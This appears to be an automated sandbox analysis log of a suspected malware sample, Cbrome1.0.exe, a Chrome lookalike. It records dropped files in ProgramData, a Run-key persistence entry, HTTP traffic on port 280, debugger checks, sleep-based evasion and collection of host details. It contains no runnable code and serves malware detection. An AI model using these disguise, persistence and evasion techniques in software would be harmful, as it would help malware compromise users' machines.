Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: dinput8.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: arphadump64.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: dinput8.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: arphadump64.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: dinput8.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Section loaded: sspicli.dll	Jump to behavior

Source: Cbrome1.0.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Cbrome1.0.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: Cbrome1.0.exe

Static file information: File size 43526144 > 1048576

Source: Cbrome1.0.exe	Static PE information: section name: RT_CURSOR
Source: Cbrome1.0.exe	Static PE information: section name: RT_BITMAP
Source: Cbrome1.0.exe	Static PE information: section name: RT_ICON
Source: Cbrome1.0.exe	Static PE information: section name: RT_MENU
Source: Cbrome1.0.exe	Static PE information: section name: RT_DIALOG
Source: Cbrome1.0.exe	Static PE information: section name: RT_STRING
Source: Cbrome1.0.exe	Static PE information: section name: RT_ACCELERATOR
Source: Cbrome1.0.exe	Static PE information: section name: RT_GROUP_ICON

Source: Cbrome1.0.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x86fe00
Source: Cbrome1.0.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x2ba000
Source: Cbrome1.0.exe	Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x1db2e00

Source: Cbrome1.0.exe	Static PE information: More than 200 imports for USER32.dll
Source: Cbrome1.0.exe	Static PE information: More than 200 imports for GDI32.dll

Source: Cbrome1.0.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Cbrome1.0.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Cbrome1.0.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Cbrome1.0.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Cbrome1.0.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Cbrome1.0.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Cbrome1.0.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: Cbrome1.0.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\workspace\NEMU\out\win.amd64\release\obj\NemuDTrace\NemuDTrace.pdb source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Admin\source\repos\MFCApplication1\x64\Debug\MFCApplication1.pdb source: Cbrome1.0.exe
Source:	Binary string: D:\jenkins\workspace\ci.arphasdk.build\qtc_out\Release_X64\arphaCrashReport64.exe.pdb source: arphaCrashReport64.exe, 00000005.00000000.2503856741.00007FF647D62000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990688649.00007FF647D62000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990724499.00007FF647D62000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe, 00000006.00000000.2585456150.00007FF647D62000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe.0.dr
Source:	Binary string: C:\Users\Admin\Documents\Visual Studio 2008\Projects\D11\x64\Release\D11.pdb source: arphaCrashReport64.exe, 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990860735.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmp, arphaDump64.dll.0.dr
Source:	Binary string: D:\workspace\NEMU\out\win.amd64\release\obj\NemuDTrace\NemuDTrace.pdb!` source: Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Cbrome1.0.exe

Code function: 0_2_0000023A29E114C0 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RegOpenKeyExA,RegQueryValueExA,wsprintfA,wsprintfA,RegQueryValueExA,lstrcpy,RegCloseKey,FreeLibrary,

0_2_0000023A29E114C0

Source: arphaDump64.dll.0.dr

Static PE information: real checksum: 0x217b16 should be: 0x21d056

Source: Cbrome1.0.exe	Static PE information: section name: .textbss
Source: Cbrome1.0.exe	Static PE information: section name: .msvcjmc
Source: Cbrome1.0.exe	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E34E2E push rbp; iretd	0_2_0000023A29E34E38
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A27B09A00 push eax; ret	0_2_0000023A27B09A02
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A295E7854 pushfd ; ret	0_2_0000023A295E7855
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4E4E2E push rbp; iretd	5_2_00000210AE4E4E38
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AC6E0FC0 push eax; ret	5_2_00000210AC6E0FC2
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE1E7854 pushfd ; ret	5_2_00000210AE1E7855
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA7B4E2E push rbp; iretd	6_2_00000205EA7B4E38
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205E8680FC0 push eax; ret	6_2_00000205E8680FC2
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA4B7854 pushfd ; ret	6_2_00000205EA4B7855

Source: C:\Users\user\Desktop\Cbrome1.0.exe	File created: C:\ProgramData\buunn\arphaDump64.dll			Jump to dropped file
Source: C:\Users\user\Desktop\Cbrome1.0.exe	File created: C:\ProgramData\buunn\arphaCrashReport64.exe			Jump to dropped file

Source: C:\Users\user\Desktop\Cbrome1.0.exe	File created: C:\ProgramData\buunn\arphaDump64.dll			Jump to dropped file
Source: C:\Users\user\Desktop\Cbrome1.0.exe	File created: C:\ProgramData\buunn\arphaCrashReport64.exe			Jump to dropped file

Source: C:\Users\user\Desktop\Cbrome1.0.exe

0_2_0000023A29E1F8D0

Source: C:\Users\user\Desktop\Cbrome1.0.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run yghvsw			Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run yghvsw			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 280
Source: unknown	Network traffic detected: HTTP traffic on port 280 -> 49710

Source: C:\Users\user\Desktop\Cbrome1.0.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Cbrome1.0.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Source: C:\Users\user\Desktop\Cbrome1.0.exe

Code function: 0_2_0000023A29E13560 lstrcat,GetComputerNameA,GetCurrentProcessId,LoadLibraryA,GetProcAddress,GetUserNameA,CreateToolhelp32Snapshot,lstrlen,_localtime64,wsprintfA,GetModuleFileNameA,

0_2_0000023A29E13560

Source: C:\Users\user\Desktop\Cbrome1.0.exe	Window / User API: threadDelayed 9878	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Window / User API: threadDelayed 9021	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Window / User API: threadDelayed 8509	Jump to behavior

Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)			graph_5-40934
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)			graph_0-25195

Source: C:\Users\user\Desktop\Cbrome1.0.exe TID: 5376	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe TID: 2836	Thread sleep count: 9878 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Cbrome1.0.exe TID: 2836	Thread sleep time: -98780s >= -30000s	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe TID: 5464	Thread sleep count: 9021 > 30	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe TID: 5464	Thread sleep time: -90210s >= -30000s	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe TID: 6464	Thread sleep count: 8509 > 30	Jump to behavior
Source: C:\ProgramData\buunn\arphaCrashReport64.exe TID: 6464	Thread sleep time: -85090s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Cbrome1.0.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Last function: Thread delayed
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Last function: Thread delayed
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Last function: Thread delayed
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Last function: Thread delayed
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E1EF20 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_0000023A29E1EF20
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4CEF20 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	5_2_00000210AE4CEF20
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FF647D58F78 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,	5_2_00007FF647D58F78
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA79EF20 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	6_2_00000205EA79EF20

Source: Cbrome1.0.exe, 00000000.00000003.2985650670.0000023A27B01000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2985741200.0000023A27B02000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990036325.0000023A27B02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: Cbrome1.0.exe, 00000000.00000002.3989734243.0000023A27AAE000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2985650670.0000023A27B01000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2985741200.0000023A27B02000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990036325.0000023A27B02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: arphaCrashReport64.exe, 00000005.00000002.3989844073.00000210AC4FC000.00000004.00000020.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3989660401.00000205E8369000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Cbrome1.0.exe	API call chain: ExitProcess graph end node	graph_0-25122
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	API call chain: ExitProcess graph end node	graph_5-40724
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	API call chain: ExitProcess graph end node	graph_5-40024
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\Cbrome1.0.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Cbrome1.0.exe

Code function: 0_2_0000023A295D0020 NtAllocateVirtualMemory,LdrLoadDll,

0_2_0000023A295D0020

Source: C:\Users\user\Desktop\Cbrome1.0.exe

Code function: 0_2_0000023A29E22C00 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_0000023A29E22C00

Source: C:\ProgramData\buunn\arphaCrashReport64.exe

Code function: 5_2_00007FF647D4D1E8 GetLastError,IsDebuggerPresent,OutputDebugStringW,

5_2_00007FF647D4D1E8

Source: C:\Users\user\Desktop\Cbrome1.0.exe

Code function: 0_2_0000023A29E13560 lstrcat,GetComputerNameA,GetCurrentProcessId,LoadLibraryA,GetProcAddress,GetUserNameA,CreateToolhelp32Snapshot,lstrlen,_localtime64,wsprintfA,GetModuleFileNameA,

0_2_0000023A29E13560

Source: C:\Users\user\Desktop\Cbrome1.0.exe

0_2_0000023A29E114C0

Source: C:\Users\user\Desktop\Cbrome1.0.exe

Code function: 0_2_0000023A29E21D10 VirtualAlloc,VirtualAlloc,GetProcessHeap,RtlAllocateHeap,SetLastError,VirtualFree,VirtualAlloc,SetLastError,

0_2_0000023A29E21D10

Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E22C00 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0000023A29E22C00
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E24565 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0000023A29E24565
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: 0_2_0000023A29E25518 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0000023A29E25518
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4D4565 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00000210AE4D4565
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4D5518 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00000210AE4D5518
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00000210AE4D2C00 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00000210AE4D2C00
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FF647D4EEF4 SetUnhandledExceptionFilter,	5_2_00007FF647D4EEF4
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FF647D4ED0C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FF647D4ED0C
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FF647D4E440 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FF647D4E440
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FF647D521D8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FF647D521D8
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FFD944715B0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD944715B0
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FFD944769DC RtlCaptureContext,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFD944769DC
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 5_2_00007FFD9447233C RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFD9447233C
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA7A2C00 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00000205EA7A2C00
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA7A5518 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00000205EA7A5518
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: 6_2_00000205EA7A4565 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00000205EA7A4565

Source: C:\ProgramData\buunn\arphaCrashReport64.exe

Code function: 5_2_00007FF647D5FC70 cpuid

5_2_00007FF647D5FC70

Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: _getptd,GetLocaleInfoA,	0_2_0000023A29E2CC80
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,free,	0_2_0000023A29E2E600
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoW,	0_2_0000023A29E2CDF8
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: GetLocaleInfoW,	0_2_0000023A29E2CD68
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoW,	0_2_0000023A29E2D0C8
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: GetLastError,free,free,GetLocaleInfoW,GetLocaleInfoW,free,GetLocaleInfoW,	0_2_0000023A29E29FFC
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: EnumSystemLocalesA,	0_2_0000023A29E2D290
Source: C:\Users\user\Desktop\Cbrome1.0.exe	Code function: EnumSystemLocalesA,	0_2_0000023A29E2D1F8
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: GetLastError,free,free,GetLocaleInfoW,GetLocaleInfoW,free,GetLocaleInfoW,	5_2_00000210AE4D9FFC
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: _getptd,GetLocaleInfoA,	5_2_00000210AE4DCC80
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: GetLocaleInfoW,	5_2_00000210AE4DCD68
